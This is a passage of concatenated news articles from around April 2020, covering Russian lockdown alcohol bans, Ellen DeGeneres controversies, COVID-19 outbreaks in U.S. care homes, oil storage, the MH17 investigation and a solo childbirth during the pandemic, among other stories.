alcohol. However, even the federal government seems to be of two minds on the issue, which is a sensitive matter for many Russians. Older citizens remember one of Soviet leader Mikhail Gorbachev's least popular reforms: a botched sobriety campaign that drastically curbed alcohol sales in the 1980s. "When a person is in isolation, they still have a normal need to do things, to work, and that need can be replaced by alcohol," Yevgeny Bryun, an addiction consultant for the Health Ministry, told RFE/RL. "People experience anxiety and depression and some people may turn to alcohol. That is why measures to restrict alcohol are completely justified: Any restriction in sales will lead to a reduction in consumption." On the other hand, the Ministry of Industry and Trade has issued a document urging regions not to restrict alcohol sales beyond existing federal norms "unless absolutely necessary." "Additional restrictions could lead to a growth in the illegal production of alcohol and its sale, as well as to an increase in social tensions," the April 3 document says. Federal law restricts the sale of alcohol to the period from 8 a.m. to 11 p.m. Regions, however, are free to introduce sharper restrictions. In Muslim-majority Chechnya, for instance, even before the coronavirus crisis alcohol was legally available at only one store in Grozny, the capital, and only from 8 a.m. to 10 a.m. As a result, local officials have been grasping for their own solutions. In Kurgan Oblast, officials have completely banned the sale of alcohol until at least May 10, a period that includes the May Day and May 9 Victory Day holidays. The Zabaikalye region initially also totally banned alcohol sales, but then backtracked and limited it to sales before 6 p.m. Sverdlovsk Oblast, Karelia, Khakasia, Bashkortostan, Tyva, Kemerovo Oblast, Sakha-Yakutia, and others all introduced sharply restricted hours for the sale of alcohol during the lockdown period. 'Insanely Drunk' "The purpose and goals of restrictions on the sale of alcohol are unclear to the public, as opposed to the purpose of the lockdown itself," said Aleksei Potylitsyn, a blogger from the capital of Khakasia, Abakan, in south-central Siberia. "Such orders merely make people angry and provoke grassroots sabotage." "People buy legal alcohol by the case 'just in case,' and end up getting insanely drunk and consuming all their reserves way before they planned," he said. A combination of government policies and demographic shifts have resulted in a sharp reduction in alcohol consumption in Russia over the last two decades. However, alcohol abuse remains a serious national problem and the country ranks among the world leaders in terms of alcohol-related deaths as a percentage of total deaths. A resident of Chita, the administrative center of Zabaikalye in eastern Siberia, who asked to be identified only as Sergei said that alcohol sales increased markedly in his city when the stay-at-home orders were first issued. "The ban came because at the beginning of the quarantine orderthe police and hospitals in Chita were working like they would on New Year's Eve," he told RFE/RL. "There were a lot of alcohol-related injuries and car crashes. Before the ban [on alcohol sales], people were bringing cartloads of bottles home from the legal stores." Since the sales ban was announced, Sergei said, it has had little effect. "We are used to such restrictions since the sale of alcohol has long been restricted," he told RFE/RL. "But you can buy alcohol in stores that just ignore all restrictions. We don't have a problem with homemade alcohol because it is so easy to buy normal alcohol illegally." Irina Kalderova, an entrepreneur in Chita, agreed, saying that "in Chita everyone knows where you can buy alcohol during the times when sales are banned." "I don't think actual sales have been much reduced," Kalderova said. "It is just that they started selling off the books. On Instagram, it is easy to find offers for alcohol delivery, although you can't tell who is delivering or where they get the alcohol from." Lines At Wine O'Clock Ironically, she added, since the authorities banned alcohol sales after 6 p.m., "there are long lines at stores now every day starting from 5:30." Sverdlovsk Oblast Governor Yevgeny Kuivashev justified his restriction on alcohol sales by saying his office had received numerous complaints about groups of people hanging around outside stores,drinking in the evenings. "These violations of the self-isolation order, which is necessary to combat the coronavirus pandemic, cannot fail to upset the residents of nearby buildings," Kuivashev wrote on Instagram Denis Puzyrev, who runs a Telegram channel on Russia's alcohol market, told RFE/RL that, in other countries, alcohol producers are switching to the production of alcohol-based disinfectants, which are in great demand. In Russia, he said, this is not happening because producers cannot secure the necessary government permits. Several producers who are in the process of applying have told Puzyrev they likely won't complete the process until the worst of the pandemic is over in Russia. In Krasnoyarsk Krai, activists have collected more than 250 pages of signatures on a petition calling on the governor to rescind his restrictions on alcohol sales. "Well-intentioned officials during a quarantine try to open up whatever possibilities they can and to lift restrictions," said local activist Kamal Lebedev. "They know that people are having a hard time and need to get by somehow. But for other officials, a quarantine is just an excuse to shut down everything and to make everything stricter." However, Dmitry Kostyugin, press spokesman for the Krasnoyarsk Krai governor's office, told RFE/RL that the sales restrictions were adopted in response to a request from police. As a result, Kostyugin said, alcohol-related crimes in the vast territory fell by more than 60 percent in April compared to the same period last year. The number of citations given to people for consuming alcohol in public or for public drunkenness also fell dramatically, he said. Many activists in Russia and other countries have warned that lockdown conditions could produce a spike in domestic violence. Anna Rivina, director of the Nasiliyu.net (No To Violence) nongovernmental organization, told RFE/RL that according to official figures about 40 percent of violent crimes in Russia occur within the family. However, she is skeptical that alcohol bans can do much to solve the problem. "It is an illusion to think that all domestic violence is connected to alcohol," she said. "Bans won't produce the result we need the important thing is the underlying culture." Anyway, she said, "in our country, even the most sensible idea can be twisted into something unreasonable." Written by RFE/RL senior correspondent Robert Coalson based on reporting from Moscow by RFE/RL Russian Service correspondent Aleksandr Litoy. Why is Ellen Degeneres suddenly the ultimate mean girl? After being one of the most loved celebrities of all time, things are seemingly taking a turn for the talk show host and comedienne. Backlash after backlash, and all during the coronavirus quarantine period too. It all seems too peculiar. It could not be because Ellen Degeneres' net worth is something people wish they have during these uncertain times too, right? It all started with some recent accusations made by crew members. After that, a guest on her show made some bad comments about her, which led to a string of bad press. Her joke on the first day of doing her show in her own house because of the lockdown further put a bad taste on people's mouths. Is she truly not the friendly, goofy, and compassionate human being that she is known for? Were all those for a show only? Below are three controversies that Ellen DeGeneres has been associated it, barely two months in quarantine. Ellen DeGenes, NikkieTutorials Fallout If there is anyone who would be warm and nice to transgender people, it would naturally those who belong to the same LGBTQ community. More so when she's ultimately one of the faces of this vibrant community. However, Ellen Degeneres has been anything but, according to the Dutch beauty vlogger - a transgender woman known as Nikkie Tutorials. She first visited "The Ellen DeGeneres Show" in January to share how she came out earlier that month. However, in February, she appeared on the Dutch talk Show "De Wereld Draiit Door" and claimed that the experience was not she expected at all! Instead, it was worse. She shared how she was snubbed during the show when she said hi, and DeGeneres did not say it back. She also said that the show's staff treated her poorly, and while all the other celebrity guests on the show got VIP treatment across the board, she did. She did not even have a private toilet! DeGeneres Crew Backlash In April, a Twitter thread called for stories about DeGeneres being mean in exchange for $2 donations to the Los Angeles Regional Food Bank, and the responses were overwhelming. Although unverifiable, some of the complaints seem really legit that Insider even picked up on the thread. Some of the complaints involve the very crew who worked with the talk show host and, therefore truly has firsthand experience with her. Ellen Insensitive to Gays and People Affected by Covid-19 Lastly (hopefully!), she got the ultimate backlash for joking that self-isolating to flatten the curve during the Covid-19 crisis felt like being in jail. People cannot take it because she lives in a massive mansion and does not even have to worry about her future source of income. She also implied that being in isolation felt like being in jail because she's surrounded by gays. While it was probably meant for a laugh, since she's with her wife Portia de Rossi, people just think it's stereotypical of her to make that comment. It's very unlike the comedienne to make unwise jokes too. At present, it is hard to know for sure. After all, except for these limited number of harsh comments (very harsh and jarring, but still limited compared to what other celebrities have received), she's still the same bubbly person on her show (even if it is done at her home) and on her Instagram. She's continuing to help out in any way she can, making huge donations and conducting charity in different ways she could. Still, it cannot be denied that 2020 is just not her year. READ MORE: Ellen DeGeneres Hurts Fans With Insensitive and STEREOTYPICAL Quarantine Joke While the global tally of Covid-19 positive patients has crossed the three-million mark, world leaders, including the US, the UK and increasingly believe that the repercussions of the pandemic could have been avoided if had shown transparency and shared information about the virus in its early phases. Well, they have even started talking about claiming compensation from China, and a German daily has already put a figure to how much should be sought in compensation. Here's a look at the US investigation against and news suggesting countries would demand heavy compensation from Lets begin with the latest update on the number of cases. The Covid-19 toll in the US has surpassed 55,000, and more than 1 million positive cases has been reported so far, according to the Worldometer data. Amid mounting Covid-19 cases in that country, President on Monday spoke about his administration conducting serious investigations into Beijings handling of the outbreak and suggesting he would seek damages for the US. Well, this is not the first time that Trump has accused for the pandemic. Earlier, he often referred to Covid-19 as the Chinese virus, because of its origin in China. Trump also recently halted funding to the World Health Organization claiming the body was biased towards China in issuing its guidance during the outbreak. Recently, while responding to questions about a German newspaper editorial calling for China to pay $165 billion, he suggested the US should also seek damages. is looking at things, we are looking at things, he said. We are talking about a lot more money than Germanys talking about. We havent determined the final amount yet, Trump said. Its very substantial. Well, in case you dont know, one of Germanys largest newspapers, Bild, in its article titled What China owes us, published on Wednesday, has mentioned a bill of 150 billion euros, or $165 billion, for the repercussions Germany had to face due to the pandemic that began in Wuhan city of China. In the article, the newspaper has listed a 27-billion-euro charge for losses in German tourism, around 7.2 billion euros for losses to the countrys film industry, 50 billion euros for small businesses and a million euros per hour in costs lost to a German airline. While responding to the article, the Chinese Embassy in said it stirs up nationalism, prejudice, xenophobia, and hostility to China. Responding to the embassys claims, Bilds editor-in-chief Julian Reichelt addressed President in a three-minute-long video and said the latter was endangering the world. Apart from that, the trade advisor, Peter Navarro, also accused of sending low-quality and even counterfeit antibody testing kits to the US and of profiteering from the pandemic and selling fake tests and counterfeit tests. Well, that reminds one of Indias recent move of cancelling the rapid antibody test kit order from one Chinese company and asking its states and union territories to put the use of such kits on hold due to a wide variation in their performance. However, the government has ensured that not a single rupee will be lost as payments were not made to the Chinese suppliers of the equipment... To know more, listen to this podcast EUGENE, Ore. -- With Gov. Kate Brown announcing non-urgent medical procedures can resume May 1, some who have been living with pain say it's about time. Tasha Askegreen began searching for relief from excruciating knee pain three years ago, but after being told nothing could be done by surgeons in Florence or at the Slocum Center, but a local surgeon finally agreed to replace her knee. But then she hit another hitch -- the coronavirus pandemic put a halt to all non-urgent surgeries in the state of Oregon. The decision from the state to was intended to preserve personal protective equipment for use in the coronavirus response. RELATED: BROWN PLANS TO LIFT RESTRICTIONS ON NON-URGENT MEDICAL PROCEDURES Askegreen said she feels like she's at the mercy of anyone who will take her in right now. And she said she prays it's soon because no one should have to live like this. "I just turned 49 and my husband is my in-home caregiver -- I mean its kind of humiliating," she said. Askegreen has a degenerative bone disease which requires a full knee replacement and even though it's considered non-urgent, the pain is front and center. "I shouldn't have to live like this," she said. Dr. Andrea Halliday, Chief Medical Officer for PeaceHealth Oregon, said she agrees with the timing, but that it needs to be taken with caution. "The reason for that is just like Governor Brown said -- we have to test the ice," she said. She said a non-urgent procedure is "an operation that can wait 90 days without causing harm to someone's physical or mental state." Knee replacements like the one Askegreen says she needs fall under this category. "I'm excited that we're finally moving forward. It makes it feel like there's some hope, but on the other hand I'm at their mercy. Where do I fit in their line up?" Askegreen said. Halliday said they are making changes at PeaceHealth such as testing any patient admitted at their hospitals for coronavirus whether they are showing symptoms or not. At least 56 residents at assisted living facilities operated by one company throughout Connecticut have died after being exposed to the coronavirus, new data shows. A total of 163 residents have tested positive for COVID-19, the disease caused by the coronavirus, across 14 facilities owned by Benchmark Senior Living in Connecticut. At least 104 employees have also gotten sick after being exposed to the virus. The data, obtained by Hearst Connecticut Media, is based on Benchmarks own accounting of the diseases path through its senior homes and represents only a fraction of the 111 assisted living facilities in Connecticut. We are deeply saddened by the significant impact the COVID-19 pandemic has had on the worlds senior population and those who care for them, said Amanda Cillo, a spokeswoman hired by Benchmark Senior Living from the public relations firm Burson Cohn & Wolfe. It is well-documented by public health experts that older people and those with underlying medical conditions are particularly susceptible to this novel coronavirus. Cillo did not immediately respond Tuesday to questions about the data. An 88-year-old who resided at Ridgefield Crossings, an assisted living facility in Ridgefield, was the first Connecticut resident to die with the coronavirus. A total of 22 residents of the facility have now died after contracting COVID-19 and 44 people have tested positive for the disease, including 18 workers, according to data released by Benchmark. The data also revealed other hotspots among Benchmarks Connecticut facilities. At The Village at Buckland Court in South Windsor, nine residents have died after falling ill, and 26 residents and 11 workers have tested positive for the disease. Edgehill in Stamford recorded comparatively fewer deaths, but 19 workers tested positive, along with 28 residents, six of whom have since died, according to the data. Three other facilities, The Village at East Farms in Waterbury, Benchmark Senior Living at Hamden and The Atrium at Rocky Hill all reported more than 20 cases of COVID-19 each between workers and residents. Benchmarks release of the data comes ahead of a statewide report on assisted living facilities expected to be made public Thursday by the governors office. Were working on pulling that information together for the first time and we hope to be able to release that in our large data package on Thursday, said Josh Geballe, chief operating officer for Gov. Ned Lamont. The states data shows the number of cases and deaths at specific nursing homes that health officials have attributed to COVID-19. The governors office has updated the data weekly, after multiple outbreaks were reported at nursing homes around the state. This week will be the first time the data will include assisted living facilities. Assisted living facilities differ from nursing homes in that residents there typically require less direct care, and may live in an apartment-style dwelling. Room and board is usually paid for by family members or by the persons assets. Nursing homes, meanwhile, are regulated and inspected through the Centers for Medicare & Medicaid, and serve as health care facilities. Homes also often provide rehabilitative care to patients recovering from various medical conditions. Nursing home deaths associated with COVID-19 comprise nearly half of the states total coronavirus fatalities, according to data released Friday, the most recent numbers available. At least 768 residents of nursing homes in Connecticut have died. State health officials have begun making onsite visits to homes, aided by staff from the National Guard in response to union complaints about worker conditions and the amount of protective gear available to them. The governors office also announced nursing homes and assisted living facilities could face fines of up to $5,000 for each violation if they fail to report cases of COVID-19 to state health officials. Lamonts office said as of Tuesday no fines had been issued. Bakersfield, CA (93308) Today Partly cloudy skies this evening will become overcast overnight. Low around 45F. Winds light and variable.. Tonight Partly cloudy skies this evening will become overcast overnight. Low around 45F. Winds light and variable. U.S. oil companies have started sending oil to the Strategic Petroleum Reserve, Bloomberg reports, citing a Department of Energy official. According to the official, since the start of April, some 1.1 million barrels of crude have been sent into the SPR after the federal government finalized negotiations with nine companies for leasing SPR space for them to store their crude in. The talks for the lease of 23 million barrels worth of space began earlier this month, amid fast-falling prices that tanked deep below zero on April 20. Since then, West Texas Intermediate has recovered above zero but has been unable to sustain a level of above $20 a barrel. After yesterday the United States Oil Fund said it would sell all its WTI futures contracts for June delivery within four days, WTI again slid lower, trading at $11.11 a barrel at the time of writing. Brent traded at $19.20 a barrel, down by close to 4 percent while WTI was down by almost 13 percent. It was a massive selloff to avoid physical delivery that brought about negative WTI prices this month. The selloff could repeat as storage space runs out, both onshore and offshore. Vessel demand data from Signal Group shows a marked increase in demand for Very Large Crude Carriersthe ones that can hold up to 2 million barrels of crude. But space is running out both in terms of tankers and in terms of tanks onshore. Besides, SPR, the central storage hub in Cushing, Oklahoma, is reportedly soon to reach its limit, according to a Reuters report. The report cited traders as saying despite official data putting the Cushing occupancy rate at 70 percent, the rest has already been booked by oil companies looking for storage space. The hub has a capacity for 76 million barrels. As of April 17, it held 53 million barrels. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Willie Nile is slated to play Gateway City Arts. The rocker has a show at the Holyoke venue on Nov. 11 at 8 p.m. Tickets for the performance are available through the promoters website at dspshows.com. Nile is no stranger to the region having performed multiple times at the Iron Horse in Northampton, Theodores in Springfield, and the now-defunct CityBlock series in Stearns Square. The gifted songwriter has achieved critical acclaim for original recordings such as American Ride which earned an Independent Music Award for Best Rock Album and Positively Bob Willie Nile Sings Bob Dylan. Shop for concert tickets here: StubHub, SeatGeek, Ticketmaster. The world has rarely been more ripe for power grabs, and Hungary's Viktor Orban is not the only leader taking advantage. The big picture: Emergency laws in Serbia and Cambodia also provide leaders near-total power, while governments elsewhere are using the virus as cover to crack down on the media, opposition or minorities, the Economist reports. China chose now to arrest Hong Kongs leading pro-democracy activists and puncture its Basic Law. chose now to arrest Hong Kongs leading pro-democracy activists and puncture its Basic Law. Algeria banned street marches that have lasted, off and on, for a year, threatening the elderly ruling elite. banned street marches that have lasted, off and on, for a year, threatening the elderly ruling elite. Azerbaijans president says the isolation of members of the opposition may become a historical necessity. Several have been locked up for supposedly violating a lockdown. president says the isolation of members of the opposition may become a historical necessity. Several have been locked up for supposedly violating a lockdown. In Uganda police raided a shelter housing 20 gay and transgender people and later charged them with congesting in a school-like-dormitory setting within a small house. police raided a shelter housing 20 gay and transgender people and later charged them with congesting in a school-like-dormitory setting within a small house. In Turkey at least eight journalists have been arrested on charges of spreading misinformation. at least eight journalists have been arrested on charges of spreading misinformation. In Bolivia the interim president, Jeanine Anez, decreed that those who misinform or cause uncertainty to the population can be jailed for one to ten years. the interim president, Jeanine Anez, decreed that those who misinform or cause uncertainty to the population can be jailed for one to ten years. In Fiji there have been more coronavirus-related arrests than diagnostic tests. Go deeper: Read the article Dowling recovering at home after long hospital stay State Rep. Matthew Dowling has returned home after suffering a one-vehicle crash in October. Dowling represents parts of Somerset County. Researchers in Australia have increased wheat yields by 55 to 65 percent in some of the country's most challenging farm terrain by using fertilizer derived from human waste. The project is being led by Federation University's with funding from the Grain Research Development Corporation and focused on two locations in southeastern Australia, where farmland can be challenging to work with. The team has found that using biosolids produced from human waste water have been especially effective at mitigating the effects of subsoil constraints like clay or other inhospitable chemicals that affect an estimated 80 percent of the country's arable land. Researchers from Federation University found biosolids produced from human wastewater can increase wheat yields between 55 and 65 percent in Australia's notoriously challenging farmland 'We harvested two months ago and we are getting a 55-65 per cent [increase] in the crop yield when compared to the untreated soil,' Federation University's Nimesha Fernando told ABC News. 'So it clearly shows production, the crop yield has significantly improved.' To produce the biosolids, waste water is first collected from residential and commercial sewage. It's then filtered to remove large solids, and placed in a separate storage container where the mixture is allowed to separate, with active microbes rising to the top and smaller waste particles sinking to the bottom. That solution is then heated, triggering a 'digestion' process where the microbes begin consuming the remaining waste particles. The final mixture is sent through a spinning cylinder to remove all the water, which leaved a potent and non-toxic fertilizer. The team found the biosolids, produced from treating human wastewater, were effective at softening hard clay that lies between 12 and 15 inches below the surface and can limit the ability of plan roots to draw water and nutrients Previous research has spread biosolids across the surface of arable land, but the team wanted to measure its effects specifically on subsoil. 'When we go below [12 to 15 inches] from the surface we will find very hard clay, the hard pan,' Fernando said. 'This hard pan restricts the crop to grow up to their potential yield.' Other fertilizer sources, like chicken manure and alfalfa pellets, can cost between $200 and $1,550 per ton, whereas as wastewater can be collected from cities for free, presuming local governments will subsidize its treatment Subsoil clay can dramatically reduce yields and general health of the plants as they near maturity and find themselves unable to meet their growing meed for water and minerals. Farmers have traditionally relied on a range of other fertilizer sources, including chicken manure and specially treated pellets made from dried alfalfa, sometimes called lucerne. These sources can range from $200 to $1,550 per ton, while biosolids can be sourced from freely available waste water, which could potentially offer major gains for the country's farmers. Encouraged by their early results, the team will continue to study biosolids for the next two years to see how effective they are on crops other than wheat While the initial results have been promising, the team expect to spend at least two more years testing how biosolids work with crops other than wheat and what longer term effects they have on soil composition. 'We're hoping to continue on for at least another two years so that we can see the temporal changes, as well as how different crops respond with the treatment,' Federation University's Singarayer Florentine said. 'We're not only looking at the yield, we're also looking the soil's physical and chemical changes.' 'The physical aspect is whether the soil has become looser, whether the soil can hold moisture, what is the nutrient content?' The number of deaths attributed to COVID-19 fell to 14, from 23 the day before. It was the first such fall in a week. We can only hope that it isnt a one-off. The total deaths attributed to the virus as of early this morning is 286. In yesterdays daily briefing, Minnesota Department of Health Commissioner Jan Malcolm provided an update on the data. Twelve of the 14 new decedents were residents of long-term care facilities. Of the 14 new decedents, she reported, six were in their 90s, one in his 80s, three in their 70s, three in their 60s, and one in his 50s (also a long-term care resident). Malcolm did not report that the median age of decedents rose yesterday, from 83 to 86 (screenshot below from current Situation Update), but that is the case. Several questions addressed the nursing home crisis. Over the last 7 days, by my count, 127 out of 144 decedents died in long-term care (i.e., 88 percent). I had a question of my own that I submitted to Commissioner Malcolm following the briefing. This is the question and the answer, courtesy of MDH press officer Doug Schultz (the emphasis is Schultzs): Power Line: Referring to the 286 total deaths to date, I note that every decedent under age 70 has died in long-term care or similar setting. The youngest person to die outside long-term care was in his 70s. Why is it necessary to close the schools and shut down the state to protect the at-risk population? Doug Schultz on behalf of Commissioner Malcolm: We have had deaths in people younger than 70 and certainly many cases in all age groups. It is necessary to take the community mitigation measures we have because all Minnesotans are at risk from COVID 19, as none of us has immunity. Some people, like those in long-term-care and those with underlying health conditions, are far more at risk than others. But if we didnt reduce transmission in the community as we have with the stay at home order, we would see far more disease circulating and many times more serious cases that would quickly overwhelm our health care system. Then, even less-vulnerable people would not be able to get the care they needed, such as intensive care, ventilators, etc., so we would see far more deaths in people outside of the very frail and elderly. That is what has happened in places like Italy and New York. Note that I asked about deaths and Schultz responded with cases and serious cases. MDH data indicate that 122 patients are in intensive care with the virus. We have upwards of 2,000 intensive care rooms and another 1,000 that can be made available. The hospitals and health care systems throughout the state are furloughing and laying off employees. The governor was otherwise engaged yesterday. The daily briefing was therefore conducted by the Minnesota Department of Health. It included commissioners dealing with agriculture and meat packing plants. The related food issues represent another important and worrying aspect of the epidemic. I am including the recording of the briefing for those who may be interested. UPDATE: Kevin Roche takes Doug Schultzs response to my question as An Example of Government Evasiveness and Misinformation. Axis Bank under its new MD&CEO Amitabh Chaudhry is following a strategy of scaling up the non-bank businesses and entering new areas in financial services. The acquisition of a 29 per cent stake in Max Life insurance gives the third largest private sector bank a foothold in the fast growing life insurance business. In a market with two dozen players, Max Life is the fourth largest life insurance player only next to LIC, ICICI Pru and HDFC Life. The relationship that is starting with a small stake could expand in terms of business synergies and probably higher shareholding in future. Insurance was the missing piece in 'One Axis' strategy, which has now been bridged with a well established market leader. The bank has been quite vocal under Chaudhry, exploring both organic as well as inorganic strategy to build size and scale in the bank's subsidiaries. The 55-year-old Chaudhry had earlier turned around HDFC's insurance business. Chaudhary, an engineer and a business management post graduate, previously worked for Credit Lyonnais, Bank of America and Infosys BPO. After the sudden exit of Shikha Sharma post the deteriorating asset quality, Chaudhry has stabilised the ship with a clear cut three-year strategy of growth, profits and sustainability. He has also strengthened the top team to expand the retail business. Chaudhry is clearly following a financial supermarket model akin to HDFC, ICICI , SBI and Kotak. These institutions have built scale in financial services, which not only gives fee income, but also offers numerous leads for cross selling. The non-bank businesses also de-risk the pure lending model, which turns volatile at times. Chaudhry wants the non banking businesses to complement the bank's strategy to go to customer with a comprehensive suite of product under 'One Axis' umbrella. The bank currently has half a dozen financial subsidiaries. The prominent among them are in mutual fund, NBFC, broking and capital markets. The mutual fund business has a AUM (assets under management) of Rs 1.38 lakh crore. The NBFC business runs a lending book of Rs 7,591 crore. The broking subsidiary has over 2 million clients. The investment banking and capital market subsidiary is also very active in deals. Chaudhry has set a goal of being the top five players in each of these businesses. In this regard, the new CEO is continuously strengthening the senior management team, pumping in money and strategising to gain market share. Also read: Axis Bank to acquire 29% stake in Max Life Insurance Also read: Axis Bank share price rises 5% ahead of Q4 earnings By AFP OTTAWA: Margaret Trudeau, the mother of Canadian Prime Minister Justin Trudeau, was rushed to hospital overnight after a fire broke out in her Montreal apartment, sources and local media said Tuesday. Emergency response officials told AFP that one person was transported to hospital, as local media posted images of several fire trucks, their long ladders extended and hoses strewn across the road at her downtown residence. The prime minister's office did not immediately respond to requests for information. But public broadcaster Radio-Canada said Margaret Trudeau, who is also the widow of late prime minister Pierre Trudeau, was treated in hospital for smoke inhalation and possibly burns. She is expected to recover. The blaze reportedly started on a fifth floor terrace, and took 70 firefighters to douse. Three families were evacuated. A senior FSB officer has become the highest-ranked Russian official linked to the investigation into the MH17 jet tragedy. Col. Gen. Andrei Burlaka, the FSB Border Service's chief of operational staff, has been named as the highest-ranking person of interest in the criminal investigation into the downing of the plane, by open-source intelligence site Bellingcat and Russia's The Insider news website. The 54-year-old, who is said to be fourth in the chain of command below Vladimir Putin, is alleged to have controlled the supply of weapons from Russia in to Ukraine around the time of the 2014 disaster. A separate investigation, published today by the BBCs Russian Service, said Burlaka had been in Rostov-on-Don, a Russian army hub near Ukraine's border, the day the passenger jet was shot down. So far, four men who international investigators believe are responsible for shooting down MH17 which led to the deaths of 298 people in 2014 have been named and charged with murder. Col. Gen. Andrei Burlaka (pictured), the FSB Border Service's chief of operational staff, has been named as the highest-ranking person of interest in the criminal investigation into the downing of the plane Who is Andrei Burlaka? Burlaka is one of the most senior ranking officers in the FSB (Federal Security Service, the successor to the Soviet KGB). He is the deputy to the head of FSB's Border Service, Gen. Vladimir Kulishov. Kulishov's boss is head of the FSB, Alexander Bortnikov. And Bortnkiov answers only to the President, Vladimir Putin. Burlaka was born in 1965 in the far-eastern Soviet Haven, a small town on the coast of the Sea of Japan. In 1986, he graduated from the the border service institute in Moscow and was dispatched to the USSR's frontiers in Afghanistan and Iran. After the collapse of the Soviet Union he was moved to the coastal borders closer to this boyhood home in the far-eastern city of Khabarovsk. And in 2007 he was made head of the FSB's coastal border service. There are no public records of his involvements in the Donbas War, but Bellingcat has published flight records which purportedly show the commander frequently travelled from Moscow to Rostov, in the Crimea. In one leaked document from July 2014, allegedly authored by Burlaka, he requests his superiors prepare fake identity papers for an asset known as 'Chapaev,' a commander of a separatist faction in the Ukraine. Advertisement Dutch-led investigators last autumn appealed for witnesses to help identify a key figure known as 'Vladimir Ivanovich Burlaka' in intercepted calls between rebel commanders and Russian officials. A joint investigative report by Bellingcat and The Insider states that 'Vladimir Ivanovich' is Col. Gen. Andrei Ivanovich Burlaka, and claims that they were able to establish his identify by analysing phone records, travel data and through voice-comparison technology. 'Based on the call intercepts as a whole, it becomes clear that "Vladimir Ivanovich" played a critical role in the chain of command between ostensibly local militants and the Russian government,' Bellingcat reported. The report continued that Burlaka would have been in a prime position 'to supervise the movement of weapons from Russia to Ukraine and thus would have had to authorize the transfer of the Russian Buk missile launcher that shot the Malaysian airliner after crossing the border.' Russia has denied involvement in the downing of MH17 over eastern Ukraine. The four men who international investigators believe are responsible for shooting down MH17 are Russians Igor Girkin, Sergey Dubinsky and Oleg Pulatov, and Ukrainian Leonid Kharchenko, all of whom were fighting for Moscow-backed separatists in eastern Ukraine when the jet was hit by a missile over the territory in 2014. A trial of the four men was scheduled to start in March but has been suspended until June 8 to give defence lawyers more time to prepare. Dutch prosecutor Fred Westerbeke said that there are no plans to seek extradition, meaning the men will likely be tried in absentia. Ukrainian rescue servicemen inspect part of the wreckage of Malaysia Airlines flight MH17 on July 20, 2014 Barry Sweeney, the father of one of ten Britons who died on the jet, said: 'It's not going to bring anyone back, but if I found out why it happened, it would bring a bit of closure.' Meanwhile Moscow slammed the 'absolutely groundless accusations,' claiming the international community had frozen them out of investigations to discredit Russia. Prosecutors said Girkin was a former colonel in Russia's FSB intelligence agency who was the self-declared minister of defence in the separatist administration in eastern Ukraine. Igor Girkin (left) and Sergey Dubinsky (right), both Russian ex-intelligence officers, were named by international investigators as two of the men responsible for shooting down MH17 Oleg Pulatov, a Russian ex-army officer, and Leonid Kharchenko, the Ukrainian commander of separatist rebels in the country's east, have also been identified Dubinskiy was a former minister from the Russian military intelligence agency GRU, Pulatov was an ex-soldier in Russia's Spetznaz special forces unit and Kharchenko a Ukrainian separatist. Ukraine's top prosecutor has said the country will try to arrest Kharchenko and, if he is detained, will arrange for him to be tried via video-link. If he is found guilty, Ukraine will impose a sentence. Of the Russian suspects, Mr Westerbeke said 'in the short term we will ask Russia to hand the summons to the suspects' and will 'ask for Russia to cooperate again with legal help.' The reconstructed wreckage of MH17 is presented to the media by Dutch investigators in 2015 The developments come almost two years after the Dutch-led Joint Investigation Team concluded that the missile which shot down the plane came from a Russian military brigade based in Kursk. MH17 was on its way from from Amsterdam to the Malaysian capital Kuala Lumpur when it was brought down. Of those killed, 196 were Dutch and another 38 were Australian. Passengers from the UK, Canada, Malaysia, Germany, Belgium, Philippines and Indonesia also died. Pope Francis is calling for prudence and obedience to government protocols dictating the easing of coronavirus shutdowns to prevent infections from surging again. Francis made the appeal Tuesday after Italian bishops bitterly complained that the Italian government's reopening schedule contained no provisions for Masses to be resumed. At the start of his morning Mass Tuesday, Francis said: As we are beginning to have protocols to get out of quarantine, let us pray that the Lord gives his people, all of us, the grace of prudence and obedience to the protocols so that the pandemic doesn't return. The government announced Sunday that funerals could resume starting May 4, but there was no information on when the faithful could attend Mass. In a statement, Italian bishops said they cannot accept that the exercise of the freedom of worship is compromised. The office of Premier Giuseppe Conte's hastily responded that it was working on protocols to allow the resumption of Masses as soon as possible but in conditions of maximum security. The clash was an unusual public display of tensions between church and state over the virus-imposed curbing of public religious observance, which has been blamed for helping to spread the infection in some parts of the world. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Danielle Sol, 35, a teacher in Long Island, New York recently gave birth to her first baby, Jonah. His birth was unusual. Sols husband, Rudy, developed symptoms of COVID-19 just a few days before Sol was scheduled to deliver via cesarean section. On March 18, Sol, who later tested positive for the coronavirus, gave birth by herself. She shared what its like delivering a baby alone. The weekend prior to my C-section, my husband Rudy developed a cough. It was still early in the COVID-19 pandemic so we assumed his seasonal allergies had flared up or he had a cold. On Saturday night, his fever was 101 degrees so I instructed him to visit the walk-in clinic, while I packed a bag to stay at my parents house. Still, I thought he had the flu. I called my OB-GYN to tell them Rudy was sick and they insisted he ask to be tested for the coronavirus and postponed my C-section until March 20. Here I am in the hospital, recovering from my C-section. (Courtesy Danielle Sol) On the morning of March 17, he called me and said, OK, babe, I dont want you to freak out, but I am positive for COVID-19. Thoughts rushed through my mind. How did this happen? What does this mean? At the time, there were so few cases of COVID-19 in New York and I couldnt fathom how it was possible for my husband to be one of them. I didnt have symptoms, but I informed my doctors office who scheduled my C-section for the next day and said Rudy couldnt join me. I planned on bringing my mom instead but they said no guests. They were treating me as if I were also positive for the coronavirus and they needed to take extra safety precautions. Health & Wellness I had to deliver my baby alone. I didnt even have a mask when the staff called to inform me that I needed one when I arrived at Northwell Manhasset for my C-section. I was worried. Would everyone know I was a COVID-19 patient? The nurse assured me that everyone was wearing a mask. The morning of my delivery, my parents dropped me off in the hospital parking lot and I walked in alone. Here is one of the first pictures of my son, Jonah. (Courtesy Danielle Sol) Immediately, it felt wrong. Everyone was covered in personal protective equipment: gowns, masks, face shields. I could only see their eyes. Prior to this, I had never had any surgery and joked that the biggest thing that ever happened to me was a paper cut. Now I was having a C-section by myself. Story continues But the staff was so supportive and wonderful. They held my hand just as if Rudy or my mom might have. Rudy was on FaceTime and the anesthesiologist grabbed my phone and took him on a tour of the operating room so he could see where I was. That small gesture felt so comforting. As soon as I had the epidural, they performed the surgery, which went well. Still I was worried because Rudy and my mom werent there. Yet, the doctors and nurses seemed to understand that no one should really have a baby alone and helped me to feel as supported as they possibly could. Caring for a newborn by myself was challenging, but I'm proud I was able to do it. (Courtesy Danielle Sol) When the doctor delivered the baby, Rudy heard that it was a boy and we cried together. I could have never imagined 